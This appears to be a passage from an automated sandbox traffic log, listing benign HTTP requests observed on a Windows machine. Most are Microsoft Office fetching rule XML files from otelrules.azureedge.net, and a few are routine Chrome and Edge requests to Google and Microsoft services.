Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
